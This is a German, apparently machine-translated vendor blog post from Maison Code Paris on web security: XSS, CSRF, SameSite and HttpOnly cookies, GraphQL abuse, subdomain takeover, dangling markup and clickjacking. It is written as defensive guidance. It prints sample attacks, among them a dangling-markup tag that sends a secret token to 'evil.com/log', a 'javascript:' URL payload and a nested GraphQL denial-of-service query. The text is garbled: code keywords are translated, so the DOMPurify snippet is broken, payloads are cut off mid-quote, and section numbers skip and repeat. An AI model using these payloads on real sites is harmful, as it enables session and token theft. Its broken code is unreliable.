CSRF und XSS: Die Zwillinge der Webzerstörung
Die beiden häufigsten Schwachstellen in Web-Apps. Ein technischer Leitfaden zu SameSite-Cookies, HttpOnly-Headern und Eingabebereinigung.
„Wir verkaufen nur T-Shirts. Warum sollte uns jemand hacken?“ Das ist die naive Denkweise des Junior-Ingenieurs. Angreifer hacken Sie nicht, weil Sie „wichtig“ sind. Sie hacken dich, weil du verwundbar bist. Sie betreiben automatisierte Bots, die Millionen von Domänen nach häufigen Exploits durchsuchen. Wenn Ihr T-Shirt-Shop eine XSS-Schwachstelle aufweist, installiert er einen Kreditkarten-Skimmer (Magecart) und stiehlt 10.000 Kreditkartennummern. Sie werden bankrott gehen.
Bei Maison Code Paris entwickeln wir Transaktionssysteme. Sicherheit ist kein „Feature“. Es ist der Keller. Dieser Leitfaden behandelt die beiden tödlichsten Schwachstellen: XSS und CSRF.
Warum Maison Code darüber spricht
Bei Maison Code Paris fungieren wir als das architektonische Gewissen unserer Kunden. Wir übernehmen oft „moderne“ Stacks, die ohne grundlegendes Verständnis für Skalierung gebaut wurden.
Wir diskutieren dieses Thema, weil es einen kritischen Wendepunkt in der technischen Reife darstellt. Die korrekte Implementierung unterscheidet ein fragiles MVP von einer widerstandsfähigen Plattform auf Unternehmensniveau.
1. XSS (Cross-Site Scripting): Datendiebstahl
XSS tritt auf, wenn ein Angreifer JavaScript im Browser Ihres Benutzers ausführen kann. Wenn sie JS ausführen können, können sie „document.cookie“ lesen. Wenn sie Cookies lesen können, gehört ihnen das Konto.
Der Angriffsvektor
Typ: Gespeichertes XSS.
- Angreifer postet eine Produktrezension: „Tolles Shirt! )““.
- Die Datenbank speichert diese Zeichenfolge.
- Das Frontend rendert es.
- Jeder Kunde, der die Produktseite ansieht, führt das Skript blind aus.
- 1.000 Sitzungs-IDs werden an „evil.com“ gesendet.
Die Verteidigung: Kontextbewusste Ausgabekodierung
Regel: Vertraue niemals der Datenbank. Moderne Frameworks (React/Vue) schützen Sie standardmäßig. Sie „entkommen“ Variablen. „<“ wird zu „<“. Der Browser rendert Text, keinen Code.
Die Gefahrenzone: dangerouslySetInnerHTML.
Mit React können Sie den Schutz umgehen.
Anwendungsfälle: CMS-Inhalte, Rich-Text-Editoren.
Lösung: DOMPurify.
Sie müssen den HTML-Code bereinigen, bevor Sie ihn rendern.
„tsx DOMPurify aus „dompurify“ importieren;
Funktion ProductDescription({ html }) { const clean = DOMPurify.sanitize(html); return <div gefährlichlySetInnerHTML={{ __html: clean }} />; } „ DOMPurify entfernt die Links „
Die Verteidigung: CSP (Content Security Policy)
(Siehe CSP-Leitfaden). Selbst wenn der Angreifer ein Skript einfügt, verhindert der CSP, dass der Browser es ausführt, es sei denn, er verfügt über eine gültige Nonce. Verteidigung im Detail.
2. CSRF (Cross-Site Request Forgery): Aktionsdiebstahl
CSRF tritt auf, wenn ein Angreifer den Benutzer dazu verleitet, eine Aktion auszuführen, die er nicht beabsichtigt hat.
Der Angriffsvektor
- Der Benutzer meldet sich bei „bank.com“ an. Sitzungscookie wird gesetzt.
- Der Benutzer besucht „evil.com“.
- „evil.com“ hat ein unsichtbares Bild: „
“.
- Der Browser sieht, dass die URL „bank.com“ impliziert. Das gültige Sitzungscookie wird automatisch angehängt.
- „bank.com“ erhält eine gültige Anfrage (mit Cookie) und überweist das Geld.
Die Verteidigung: SameSite-Cookies
Dadurch wird die Cookie-Richtlinie des Browsers aktualisiert.
Set-Cookie: session_id=xyz; SameSite=Lax; Sicher; HttpOnly;
- Streng: Cookie wird nur für Erstanbieteranfragen gesendet. (Beste Sicherheit).
- Lax: Cookie wird nicht bei Unteranfragen (Bilder/Iframes) gesendet, sondern bei der Navigation auf oberster Ebene. (Gute Balance).
- Keine: Cookie wird überallhin gesendet. (Unsicher).
Durch die Einstellung „SameSite=Lax“ trägt das „“-Tag von „evil.com“ das Cookie nicht. Die Anfrage schlägt fehl (401 Nicht autorisiert).
Die Verteidigung: Anti-CSRF-Tokens
Bei Mutationen (POST/PUT) benötigen wir eine Zweitprüfung.
- Der Server sendet ein „csrf_token“ in einem Meta-Tag.
- JavaScript liest es und sendet es in einem Header „X-CSRF-Token“.
- Server validiert: Stimmt der Header mit der Sitzung überein?
Angreifer kann das Meta-Tag nicht lesen (Cross-Origin-Richtlinie). Der Angreifer kann den Header nicht fälschen.
3. Speicherung: LocalStorage vs. HttpOnly-Cookies
Wo speichern Sie das JWT (Json Web Token)?
Lokaler Speicher:
- Einfach zu verwenden (
localStorage.getItem('token')). - Anfällig für XSS. Wenn der Angreifer JS ausführt, kann er den gesamten LocalStorage lesen.
HttpOnly-Cookie:
- Schwieriger zu verwenden (Server muss es festlegen).
- Immun gegen XSS-Diebstahl. JavaScript kann HttpOnly-Cookies nicht lesen. „document.cookie“ gibt eine leere Zeichenfolge zurück.
Empfehlung: Verwenden Sie immer HttpOnly-Cookies für sensible Sitzungs-IDs. Selbst wenn Sie eine XSS-Schwachstelle haben, kann der Angreifer den Schlüssel nicht herausfiltern. Sie können nur Anfragen stellen (was der CSRF-Schutz stoppt).
4. Die Sicht des Skeptikers
„React ist standardmäßig sicher.“ FALSCH. React schützt die Ansichtsebene. Es schützt nicht:
javascript:URLs (<a href={userLink}>). Wenn „userLink“ „javascript:alert(1)“ ist, wird beim Klicken darauf Code ausgeführt.- Serverseitige Rendering-Injektion (SSR).
- Angriffe auf die Lieferkette (bösartige NPM-Pakete).
„Ich benötige keinen CSRF-Schutz, da ich JWTs in Headern verwende.“ WAHR. Wenn Sie keine Cookies verwenden, sind Sie gegen CSRF immun. Aber jetzt speichern Sie JWTs in LocalStorage und sind daher anfällig für XSS. Wählen Sie Ihr Gift. (Wir wählen Cookies + CSRF-Schutz).
5. Sicherheitsheader (Helm)
Senden Sie keine nackten HTTP-Antworten. Verwenden Sie „helmet“ (Node.js) oder „headers“ config (Next.js), um Folgendes festzulegen:
X-Content-Type-Options: nosniff(Verhindert MIME-Sniffing).- „X-Frame-Options: DENY“ (Verhindert Clickjacking).
- „Referrer-Policy: strict-origin-when-cross-origin“.
- „Strict-Transport-Security“ (HSTS): HTTPS erzwingen.
7. GraphQL-Injection (Die neue SQL-Injection)
Entwickler halten GraphQL für sicher, weil es typisiert ist.
Falsch.
Wenn Sie GraphQL ohne Abfragetiefenbeschränkung verwenden, kann ein Angreifer Sie mit einer Anfrage per DDOS blockieren.
query { Benutzer { Freunde { Benutzer { Freunde { Benutzer { Freunde ... } } } } }
Diese verschachtelte Abfrage explodiert Ihre Datenbank.
Verteidigung: Verwenden Sie „graphql- Depth-Limit“. Beschränken Sie die Tiefe auf 5.
Hüten Sie sich auch vor Batching-Angriffen.
Wenn Sie Batch-Abfragen zulassen, kann ein Angreifer 10.000 Passwörter in einer HTTP-Anfrage brutal erzwingen.
Verteidigung: Batching auf öffentlichen Endpunkten deaktivieren.
8. JWT: Die „staatenlose“ Lüge
Jeder nutzt JWTs, weil „Sitzungen nicht skalierbar“ sind. Das ist eine Lüge. Redis lässt sich auf Millionen von Operationen pro Sekunde skalieren. Das Problem mit JWT ist Widerruf. Wenn ein Angreifer ein JWT stiehlt, ist er eine Stunde lang der Administrator. Sie können sie nicht abmelden. Sie müssen den Signaturschlüssel rotieren, wodurch jeder abgemeldet wird. Hybrider Ansatz: Speichern Sie das JWT in einer Redis-Zulassungsliste. Überprüfen Sie Redis bei jeder Anfrage. Jetzt haben Sie ein „Stateful JWT“. Es verfehlt den Zweck, ist aber sicher. Oder verwenden Sie einfach Sitzungscookies. Sie arbeiteten 20 Jahre lang für Google.
9. Risiken der Subdomain-Übernahme
Verweist „blog.maisoncode.paris“ auf Ihrer Website auf einen WordPress-Host, den Sie vor drei Jahren gekündigt haben? Wenn dieser CNAME-Eintrag noch vorhanden ist, kann ein Angreifer einen Blog auf diesem Host registrieren und Ihre Subdomain beanspruchen. Da sie sich auf „*.maisoncode.paris“ befinden, können sie Ihre Cookies lesen (wenn „domain=.maisoncode.paris“). Verteidigung: Überprüfen Sie Ihre DNS-Einträge. Löschen Sie alle CNAMEs, die auf einen Dienst verweisen, für den Sie nicht mehr bezahlen.
10. Dangling Markup-Injektion
Wenn ein Angreifer ein Bild-Tag einfügen, es aber nicht schließen kann:
<img src='https://evil.com/log?
Sie fressen den Rest Ihres HTML bis zum nächsten Zitat.
<img src='https://evil.com/log? <form><input value="SECRET_TOKEN"> ...
Der Browser sendet Ihr geheimes Token als Teil der URL-Abfrage an „evil.com“.
Verteidigung: CSP-„img-src“-Einschränkungen verhindern, dass der Browser Daten in nicht autorisierte Domänen extrahiert. Aber „Content-Security-Policy“ funktioniert am besten, wenn sie streng ist.
12. Clickjacking-Verteidigungen im Detail
„X-Frame-Options: DENY“ ist der alte Weg.
„Content-Security-Policy: Frame-Vorfahren ‚none‘“ ist der neue Weg.
Warum CSP verwenden? Weil es die Zulassung bestimmter Partner unterstützt.
frame-ancestors https://partner.com.
Wenn Sie dies nicht festlegen, kann ich Ihren Checkout in einen pixelgenauen Iframe auf „free-iphone.com“ einbetten.
Der Benutzer denkt, dass er zur Kasse geht.
Ich erfasse ihre Mausklicks (mittels transparenter Overlays), um die Schaltfläche „Kaufen“ auf mein Produkt umzuleiten.
Es ist heimtückisch. Blockieren Sie es global.
12. SameSite: Lax vs Strict (Deep Dive)
„Lax“ ist die Standardeinstellung in Chrome. Es erlaubt Cookies in der Top-Level-Navigation (Klicken eines Links von Google zu Ihrer Website). „Streng“ blockiert Cookies in der Top-Level-Navigation. Wenn Sie „SameSite=Strict“ festlegen und ein Benutzer auf einen Link in einer E-Mail „Bestellung anzeigen“ klickt, wird er als Abgemeldet angezeigt. Das ist schlechtes UX. Strategie:
- Sitzungscookie: „Erlaubt (Lax)“.
- Sensitive Action Token (Konto löschen): „Erforderlich (streng)“. Sie können zwei Token haben. Eines zum Lesen, eines zum Schreiben.
13. Warum Maison Code?
Bei Maison Code prüfen wir standardmäßig die OWASP Top 10. Wir gehen nicht davon aus, dass React sicher ist. Wir prüfen Ihr „dangerouslySetInnerHTML“. Wir konfigurieren Ihre „SameSite“-Cookies. Wir richten Ihren CSP ein. Wir glauben, dass ein Luxuserlebnis den Luxus der Sicherheit beinhaltet. Ihre Kunden sollten sich keine Sorgen über einen Kreditkartendiebstahl machen müssen.
14. Fazit
Sicherheit ist meist unsichtbar. Durch Funktionen werden Sie befördert. Die Sicherheit verhindert, dass Sie gefeuert werden. Es ist eine undankbare Arbeit, bis sie eines Tages das Unternehmen rettet. Seien Sie stolz auf den unsichtbaren Schutzschild, den Sie bauen.
Ist Ihre App undicht?
Wir führen Penetrationstests und Code-Audits für Anwendungen mit hohem Risiko durch. Beauftragen Sie unsere Architekten.